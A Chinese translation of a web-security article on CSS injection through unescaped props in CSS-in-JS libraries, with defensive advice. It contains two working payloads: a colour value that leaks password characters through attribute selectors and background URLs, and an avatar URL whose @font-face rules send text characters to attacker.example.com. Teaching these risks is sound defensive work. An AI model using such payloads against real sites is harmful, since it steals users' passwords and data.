导语:CSS in JS允许开发者将JavaScript变量插入到CSS中,虽然这打破了 JS 和 CSS 之间的边界,为 CSS 注入提供了新的攻击界面,但前提是,它安全吗?
CSS in JS允许开发者将JavaScript变量插入到CSS中,虽然这打破了 JS 和 CSS 之间的边界,为 CSS 注入提供了新的攻击界面,但前提是,它安全吗?
在过去几年中,我见证了 CSS-in-JS 的兴起,尤其是在React社区。当然,它也饱含争议。很多人,尤其是那些已经对 CSS 非常熟悉的人都表示难以置信。
为什么使用CSS-in-JS?
毕竟,通常那些希望有局部样式但是又不希望在 JS 中写 CSS 的开发者会选择使用 CSS 模块。
我把它分为五个方面:
1. 局部样式
2. 关键CSS
3. 智能优化
4. 打包管理
5. 在非浏览器环境下的样式
客观地讲,CSS-in-JS是一种令人兴奋的新技术,完全无需CSS类名。虽然它可以通过直接添加样式的方式,将CSS的全部功能到你的组件中。但它也加速了该CSS中的非转义prop的插值(Interpolation),以开启你的注入攻击。
而众所周知,CSS注入攻击是一个重大的安全隐患。如果你的网站或APP接受用户输入并将其显示给其他用户,则使用CSS-in-JS库(如styled-components或 glamorous )则可能会导致你的站点被损坏。但更糟的是,你可能会无意中允许攻击者从用户的设备发出请求,形成数据的“虹吸效应”,窃取凭据,甚至执行任意JavaScript。
译者注:虽然 styled-components 通过模板字面量的方式使用了传统的CSS语法,但是有人更喜欢使用数据结构。来自PayPal的 Kent C. Dodds开发的Glamorous是一个值得关注的替代方案。
Glamorous 和 styled-components 一样提供了组件优先的API,但是他的方案是使用对象而不是字符串,这样就无需在库中引入一个CSS解析器,可以降低库的大小并提高性能。
当然,也可以在一定的规则下安全地使用CSS-in-JS。
绝对安全法则
切记、切记,千万不要将用户输入插入到样式表中。如果你谨记该规则,那你的用户安全将确保。
利用CSS-in-JS
CSS-in-JS工具就像CSS的eval,它会接受任何注入,并将其评估为CSS。
问题是即使是不受信任的注入,CSS-in-JS也会仔细进行评估。更糟糕的是,CSS-in-JS还会鼓励不信任的注入,让你通过prop传递变量。
如果你的样式化组件(styled components)具有其用户设置的prop,则需要手动清理注入的内容,否则恶意用户将能够将任意样式注入到其他用户的页面。
窃取密码的颜色prop
假设你想允许用户自定义他们个人资料页面的颜色,那这样做的后果就是,用普通的CSS来做这件事情会让人很痛苦,但是用CSS却很容易,你只需添加一个颜色prop!
事实上,后端开发人员已经为你处理了API方面的事情,现在你可以在样式化组件中使用颜色prop了。
由于你的APP是单页面APP,因此登录表单打开时将覆盖此页面。而且由于你的后端开发人员将颜色存储在文本字段中,无需验证,恶意用户就可以通过设置颜色prop窃取某些用户的密码:
// - Add more selectors to get more info // - You can use different types of attribute selectors too // - Compare received values against a dictionary to make // a good guess from the data you have var color = `#8233ff; html:not(&) { input[value*="pa"] { background: url(https://localhost/?pa) } input[value*="as"] { background: url(https://localhost/?as) } input[value*="ss"] { background: url(https://localhost/?ss) } input[value*="sw"] { background: url(https://localhost/?sw) } input[value*="wo"] { background: url(https://localhost/?wo) } input[value*="or"] { background: url(https://localhost/?or) } input[value*="rd"] { background: url(https://localhost/?rd) } }`
根据当前的输入,你可以通过使用密码字段上的功能选择项来更改背景图像。下面是我输入密码后的Chrome 开发工具网络选项卡:
虽然这种攻击不能窃取所有密码,但仍会有相当多的密码被窃取。点此查看使用样式化组件的CodeSandbox中的概念证明。
译者注:CodeSandbox 是一个在线的 React 编辑器,其能够帮助开发者更快更方便地展示与分享基于React的项目。CodeSandbox 会自动化执行类似于编译、打包、依赖管理等多种项目构建中的常见任务。
头像的数据“虹吸效应”(data-siphoning)
许多 APP 都有用户系统,不论是自己实现还是使用第三方,大概都需要显示用户的头像。比较常见的情景下,头像会在某些列表里出现,例如联系人列表、消息列表等。
虽然头像也是图像,但相比于普通图片,我们对头像有更高的要求。头像的原始图片可能有各种尺寸,但在 APP 里,我们很可能需要某种固定样式的头像。
不过,一个 APP 里可能不只有一种头像样式。比如某些场景里要有大头像,某些要用小头像,某些要用原始尺寸的头像;或者某些场景里要用正方形头像,某些场景里要用圆角矩形头像,不一而足。如果要做优化,我们当然希望这些不同样式的小头像能够存储在本地,不用再从网络获取再裁减或处理样式。一来减少不需要的流量消耗,二来提高头像载入速度,用户体验自然会更好。
一个完整的用户对象包括该用户的网络称呼,使用的微博地址和其他一些东西,比如用户的头像。你的后端开发人员会将头像URL添加到对象中,然后再使用背景图像标签将图像将其添加为标记。因为头像的图片 URL 唯一,即不同的头像有不同的 URL。如果用户换了头像,那么新头像 URL 和旧的不一样。
由于头像是公开资源,不需要做验证即可下载。所以,任何看过这个头像的人都会从他们的页面上获得想要的头像数据,头像 URL的工作模式如下:
const avatarURL = `blue;} @font-face{ font-family:poc; src: url(https://attacker.example.com/?D); unicode-range:U+0044; } @font-face{ font-family:poc; src: url(https://attacker.example.com/?R); unicode-range:U+0052; } @font-face{ font-family:poc; src: url(https://attacker.example.com/?O); unicode-range:U+004F; } @font-face{ font-family:poc; src: url(https://attacker.example.com/?P); unicode-range:U+0050; } .logged-in { font-family: poc; } .something{color: red `
这可以通过在自定义字体中为每个字符附加不同的URL,然后将该字体应用于要虹吸的文本。这样,你就可以获取字符列表,如果用户在输入时也采用该方法,则可以保证按照正确的顺序给他们提供信息。你还可以结合诸如:: first-letter或:: selection选择器来获得更详细的信息。
查看Chrome开发工具的“网络”选项卡可显示当前用户名称的提取方式:
点此查看使用glamorous的codesandbox中的概念证明。
任意JavaScript执行
如果你可以将JavaScript放在同一个域上的文本文件中,IE9及更早版本的IE允许你从样式表中运行任意JavaScript。
如果你的用户中有人在使用IE9,那么就会有恶意用户以某种方式设法上传文件,并通过未经授权的方式将关联的行为属性注入到样式表中,则恶意用户可以窃取其帐户。
你可以阅读更多关于在CSS中执行JavaScript中的详细信息。
实战中安全解决方案
只要遵循绝对安全法则,以上所描述的这些漏洞就不会被利用。
不要将用户输入插入到样式表中
当然,即使你不能将用户输入插入到样式中,你仍然可以将其用于非样式的prop。你还可以将静态变量插入到样式中。但是,这又引出了另一个问题:如何才能知道样式化组件上的哪些小部件可以安全地接受用户输入?
分离关注点(Separation of Concerns)
模块化软件开发就是一种分离关注点(Separation of Concerns)的手段,React的一个重要用途就是,它允许你创建组件,从而促进关注点分离。一方面,子组件不需要知道他们的prop是从哪里来的,另一方面父组件不需要知道它们的子组件是如何实现的。组件独立性,提高了可维护性和可重用性。可是,未经清理的prop打破了这种独立性。以一个接受两个prop的组件为例:一个是未经清理的主题prop,它被插入到样式表中;另一个是内容prop:
// Can `theme` accept user input? Can `content` accept user input?
function MyComponent({ theme, content }) {
return (
<MyStyledComponent theme={theme}>
{content}
</MyStyledComponent>
)
}
通过组件的签名,可以快速浏览theme或content是否在样式表中被清理或使用。实际上,即使查看了实现的过程,我也看不出来主题prop是如何使用的。
为确保你的组件保持可重复使用和维护,使用命名方案可以在prop危险时清楚。
为了确保组件的可重用性和可维护性,请使用命名方案,这样就可以在prop受到攻击时,查明具体原因,例如:
// `unsanitizedTheme` cannot accept user input // `content` can accept user input function MyComponent({ unsanitizedTheme, content }) { return ( <MyStyledComponent unsanitizedTheme={unsanitizedTheme}> {content} </MyStyledComponent> }
不要信任任何人
要知道第三方库中的prop是否安全,惟一的方法是深入源代码进行检查。例如,使用一个第三方工具提示(Tooltip)组件:
<Tooltip position="left" content={itemName} />
虽然你可能认为将用户输入传递给内容支持是安全的,但是在检查源代码之前,你实际上是不知道的。最多,你可能会觉得这只是一个不正常的例子,但实际上它是一个流行的UI工具包中的安全问题。
事实上,即使你使用的是目前安全的UI工具包,也不能保证在运行npm upgrade后,这种问题会完全得到解决。
因此,除非你正在构建一个没有用户输入的静态网站,否则我建议你完全避免在内部使用CSS-in-JS的第三方UI库,这是目前我能想到的唯一的安全方法。
但理想总是与现实是矛盾的,APP需要的就是用户输入他们样式化的东西。
最安全的方法是添加一些基于用户输入的样式,让用户使用熟悉的内样式(inline style) 即样式prop。这样,你放入样式对象中的任何东西都是安全的。
但是,如果内联式不够,你就需要使用CSS.escape手动转义每次出现的用户输入。此时,你需要使用一个polyfill。
不过要注意的是,所有这一切都是一个单一的非转义的prop。因此,如果要插入包含用户输入的任何prop,唯一安全的方法就是转义你的整个应用里的所有prop。
但这是一个后端问题吗?
我听到的一个借口是所有这些问题都是后端开发人员的错误,他们应该在数据存储之前清理数据。当然,这是来自前端开发人员的借口。
客观地讲,安全涉及到每个环节,每个人都有责任。虽然我们大多数人都尽力做好自己分内的事,比如,正确地对输入进行了清理,但总免不了会犯些意外错误。
JSX插值可以吗?
JSX是React的核心组成部分,它使用XML标记的方式去直接声明界面,界面组件之间可以互相嵌套。可以理解为在JS中编写与XML类似的语言,一种定义带属性树结构(DOM结构)的语法,它的目的不是要在浏览器或者引擎中实现,它的目的是通过各种编译器将这些标记编译成标准的JS语言。
通过以上描述,你就知道了JSX在默认情况下不信任内插字符串。如果你使用dangerouslySetInnerHTML prop,并且传递格式为{__html:'your_string'}的对象,则只插入HTML就很危险了。
没有人想让未经过滤的用户输入HTML,但人们会犯错误,这就是为什么React要求你明确地告诉它直接插值的字符串是安全的。目前,CSS-in-JS不提供任何自动清理机制,所以在清理机制提供之前,确保将任何内插的prop命名为unsanitizedSomething。